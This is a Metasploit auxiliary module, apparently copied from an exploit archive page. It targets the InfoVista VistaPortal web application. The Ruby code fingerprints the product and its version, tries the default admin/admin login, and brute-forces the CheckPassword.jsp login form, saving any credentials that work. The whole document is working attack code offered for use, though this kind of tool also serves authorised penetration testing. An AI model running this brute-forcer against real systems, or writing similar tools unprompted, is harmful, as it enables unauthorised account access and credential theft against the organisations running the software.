Exploit for InfoVista VistaPortal Application Bruteforce Login Utility

## https://sploitus.com/exploit?id=PACKETSTORM:181194
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::AuthBrute  
include Msf::Auxiliary::Scanner  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'InfoVista VistaPortal Application Bruteforce Login Utility',  
'Description' => %{  
This module attempts to scan for InfoVista VistaPortal Web Application, finds its  
version and performs login brute force to identify valid credentials.  
},  
'Author' =>  
[  
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',  
],  
'License' => MSF_LICENSE,  
'DefaultOptions' => { 'SSL' => true }  
))  
  
register_options(  
[  
Opt::RPORT(443),  
OptString.new('TARGETURI', [true, "URI for Web login. Default: /VPortal/mgtconsole/CheckPassword.jsp", "/VPortal/mgtconsole/CheckPassword.jsp"])  
])  
end  
  
def run_host(ip)  
unless is_app_infovista?  
print_error("#{rhost}:#{rport} - Application does not appear to be InfoVista VistaPortal. Module will not continue.")  
return  
end  
  
status = try_default_credential  
return if status == :abort  
  
print_status("#{rhost}:#{rport} - Brute-forcing...")  
each_user_pass do |user, pass|  
do_login(user, pass)  
end  
end  
  
#  
# What's the point of running this module if the app actually isn't InfoVista?  
#  
def is_app_infovista?  
res = send_request_cgi(  
{  
'uri' => '/VPortal/',  
'method' => 'GET'  
})  
  
if (res and res.code == 200 and res.body =~ /InfoVista.*VistaPortal/)  
version_key = /PORTAL_VERSION = (.+)./  
version = res.body.scan(version_key).flatten[0].gsub('"','')  
print_good("#{rhost}:#{rport} - Application version is #{version}")  
return true  
else  
return false  
end  
end  
  
#  
# Test and see if the default credential works  
#  
def try_default_credential  
user = 'admin'  
pass = 'admin'  
do_login(user, pass)  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: 'InfoVista VistaPortal',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
last_attempted_at: DateTime.now,  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::SUCCESSFUL,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
#  
# Brute-force the login page  
#  
def do_login(user, pass)  
vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")  
begin  
res = send_request_cgi(  
{  
'uri' => target_uri.to_s,  
'method' => 'POST',  
'vars_post' =>  
{  
'Login' => user,  
'password' => pass  
}  
})  
  
if (not res or res.code != 200 or res.body !~ /location.href.*AdminFrame\.jsp/)  
vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect} with code #{res.code}")  
else  
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")  
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)  
return :next_user  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE  
print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")  
return :abort  
end  
end  
end